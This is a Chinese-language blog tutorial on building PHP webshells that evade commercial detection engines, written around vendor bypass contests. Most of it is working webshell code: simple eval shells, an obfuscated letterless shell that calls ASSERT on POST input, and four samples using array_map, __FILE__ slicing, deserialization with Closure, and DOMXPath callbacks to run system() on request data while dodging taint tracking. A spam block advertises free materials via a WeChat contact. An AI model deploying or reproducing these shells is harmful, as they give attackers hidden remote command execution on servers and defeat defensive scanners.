利用PHP的特性做免殺Webshell

0x01 前言

最近很多家廠商都陸續開放了自己的Webshell檢測引擎,並且公開接口,邀請衆安全研究員參加嘗試bypass檢測引擎,並且給予獎勵,我也參加了幾場類似的活動,有ASRC伏魔計劃,也有TSRC獵刃計劃,還有最近正在進行的長亭牧雲(Aka.關山)Webshell檢測引擎,如果你都參加或者關注了這三個比賽,你會發現他們都提到了以下幾個技術:

1、詞法分析
2、污點追蹤
3、惡意代碼檢測

這些新技術我們後面的章節中,我們先講一下傳統的Webshell檢測機制,再對照着最新的Webshell檢測技術來說明一下如何在新技術下做免殺Webshell(本文所有Webshell基於PHP語言)

0x02 傳統Webshell檢測

傳統的Webshell檢測技術主要依賴於字符串的正則特徵,在面對於已知的樣本可以做到高準確率檢測,在長時間的樣本收取下,也可以做到滿足日常運維中的Webshell檢測,舉幾個經典的Webshell樣本

1、經典一句話Webshell

<?php eval($_GET['cmd']);?>

2、反序列化Webshell

<?php
    Class H3{
  function __destruct(){
    eval($this->c);
  }
}
$a= new H3;
$a->c = $_GET['cmd'];

3、無字母Webshell

<?php
 $_ = 97;
 $__ = 97 + 18; //s
 $___ = $__ + 6; //y
 $____ = $__ + 1; //t
 $_____ = $_ + 4; //e
 $______ = $__ - 6; //m
​
$res = chr($__).chr($___).chr($__).chr($____).chr($_____).chr($______);
$_= $_POST['cmd'];
$res($_);

但是對於當下的技術發展,黑客們可以更加精心的編寫Webshell來"騙"過傳統的Webshell檢測機制,而且Webshell易變形,在面對0day樣本的時候,傳統Webshell檢測就會效果欠佳,也就需要更加全面的手段來與其抗衡

0x03 新型Webshell檢測

對於現如今的情況下,傳統的Webshell檢測對於0day樣本的檢測效率已經不是特別好了,所以這時候就需要一種"主動"的檢測方式,能夠讓引擎主動去理解腳本、分析樣本,發現樣本中的惡意行爲,而不是依靠人工來添加Webshell特徵。

1、污點追蹤

舉個例子,對於一個Webshell來說,如果要進行任意命令執行,就一定要獲取外界數據,對於PHP來說也就是$_GET$_POST來接受數據,而要想任意命令執行,這些接收到的數據也就一定要最終傳遞到evalsystem等函數中,而污點追蹤技術就是利用這一點,如果樣本中的外界變量通過不斷傳遞,最終進入到危險函數中,那基本上就可以斷定爲Webshell,將外界變量視爲污點源,危險函數視爲污點匯聚點,跟蹤污點傳播過程,判斷污點變量是否被洗白,最終是否進入污點匯聚點,畫一個流程圖如下:

污點追蹤.png

2、詞法分析

檢測引擎會將各種腳本語言進行詞法語法分析,然後構建控制流圖和數據流圖,並在圖上跟蹤外界污點變量的傳遞,使用外界變量是WebShell非常重要的特徵,如果發現外界變量最終進入了命令執行函數,就可以判斷爲Webshell。

640.png

引擎可以將傳統的條件、循環、函數、對象的靜態分析,目前還可以支持動態變量名、箭頭函數、反射、回調等動態特性的分析,大大的強化的未知樣本的檢測成功率。

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

3、加密還原

在此之前我們的Webshell常用的繞過檢測的方法就是通過加密來繞過,例子如下:

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
​
$_=$$____;
$___(base64_decode($_[_])); // ASSERT($_POST[_]);

該樣本利用了混淆和加密兩種技術,但是現如今的檢測引擎都具備有對市面上的大部分PHP加密混淆進行“脫殼”和利用動態分析PHP執行器進行虛擬執行,將混淆加密的代碼進行動態還原,解密後混淆和加密相當於明文傳輸,再利用污點追蹤技術和動靜態結合分析即可大大的提高檢測率,並且能夠有效減小誤報率,同時也讓這種在之前百試不爽的技巧無法使用。

0x04 如果Bypass掉新型檢測引擎

我們要知道原理就可以想辦法如何“矇騙“住檢測引擎,如果大家研究過,或者說親身參與到了bypass挑戰賽中,就能感受到無論是動靜態還是什麼技術,最後都是根據污點追蹤法則來進行檢測,污點追蹤的流程在上一節提到了,目前我們有兩個方法:

1、利用PHP中其他的命令執行的方法,讓檢測引擎識別不出這是污點匯集點

2、打斷污點追蹤的過程,讓污點匯集點不落地

拿出一個樣本我們來結合代碼說明(以下樣本分別bypass的引擎會標註出來,截止筆者寫這篇的文章的時候只有牧雲webshell檢測引擎正在開啓)

樣本1

<?php
//ASRC伏魔引擎bypass
$result = array_diff(["s","a","b","ys","te","m"],["a","b"]);
$a = join($result);
array_map($a,(array)$_REQUEST['1']);
?>

講一下原理,首先我們需要利用技巧(PHP本身的特性),來阻斷污點追蹤的過程,我在fuzz測試的時候發現了array_map()這個函數存在callback並且能夠逃避檢測

image-20220801175154343.png

那麼首先的能夠bypass的污點匯集點已經有了,接下里來就是尋找其他函數來將變量"洗白",我選擇了array_diff()

image-20220801174825422.png

這樣就可以利用該函數拼湊出一個system函數,再利用array_map()callback來做命令執行

結果如下:

image-20220801175804957.png

這樣就完成了最簡單的一次bypass

樣本2

<?php
//bypass 牧雲 文件名需要設置爲system
$filename=substr(__FILE__,-10,6);
$command=$_POST[1];
$filename($command);

__FILE__是PHP的一個魔術常量,它會返回當前執行PHP腳本的完整路徑和文件名,我們利用substr()函數逆着截取,就能獲得system再利用變量做函數的方式,打斷了污點追蹤的過程,進行命令執行,也可以成功bypass掉牧雲引擎。

結果如下:

image-20220801210052872.png

牧雲引擎檢測結果如下:

image-20220801210000827.png

樣本3

<?php
//bypass 牧雲 and TAV反病毒引擎+洋蔥惡意代碼檢測引擎
class A{
    public function __construct(){}
​
    public function __wakeup(){
        $b = $_GET[1];
        $result = array_diff(["s","a","b","ys","te","m"],["a","b"]);
        $a = join($result);
        Closure::fromCallable($a)->__invoke($_REQUEST[2]);
    }
}
​
@unserialize('O:1:"A":1:{s:10:" A comment";N;}');

這個套了一層反序列化,隱藏污點匯集點的方法與樣本一相同,利用數組差級構造system後利用原生類ClosurefromCallable函數

image-20220801213635370.png

進行命令執行(在牧雲中array_diff(["s","a","b","ys","te","m"],["a","b"]);這種方式會被check,索性換成動態控制,這樣也能打斷污點追蹤)

結果如下:

image-20220801213944993.png

image-20220801214027664.png

image-20220801214223486.png

樣本4

<?php
// dom and xml needed, install php-xml and leave php.ini as default.
// Author:LemonPrefect
$cmd = $_GET[3];
$_REQUEST[1] = "//book[php:functionString('system', '$cmd') = 'PHP']";
$_REQUEST[2] = ["php", "http://php.net/xpath"];
$xml = <<< XML
<?xml version="1.0" encoding="UTF-8"?>
<books>
    <book>
        <title>We are the champions</title>
        <author>LemonPrefect</author>
        <author>H3h3QAQ</author>
    </book>
</books>
XML;
​
$doc = new DOMDocument;
$doc->loadXML($xml);
$clazz = (new ReflectionClass("DOMXPath"));
$instance = $clazz->newInstance($doc);
$clazz->getMethod("registerNamespace")->getClosure($instance)->__invoke(...$_REQUEST[2]);
$clazz->getMethod("registerPHPFunctions")->invoke($instance);
$clazz->getMethod("query")->getClosure($instance)->__invoke($_REQUEST[1]);

該樣本需要一些條件,前提是開啓了php-xml拓展才可以,其原理就是用XML去註冊一個registerPHPFunctions,也就是我們想要執行的system再利用getClosure去觸發該方法而構成的webshell,其中即利用到了PHP的特性,利用registerNamespaceregisterPHPFunctions來中斷污點追蹤,從而RCE

結果如下:

image-20220801220915010.png

image-20220801220929751.png

0x05 總結

在構造Webshell的時候,我們如果知道Webshell檢測引擎原理,就知道如何去bypass了,對於怎樣過掉Webshell引擎這件事,需要開動腦筋多去找一下PHP的文檔,去找一下原生類和其他能夠中斷污點追蹤的方法,讓引擎跟蹤不到你的行爲,而且儘量不要讓敏感字符串出現在代碼本體,因爲有的引擎還是有字符串的正則特徵檢測,同時也要學會分析,分析自己的Webshell到底哪裏出的問題,從而找到更好的方法去替換。

更多靶場實驗練習、網安學習資料,請點擊這裏>>

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章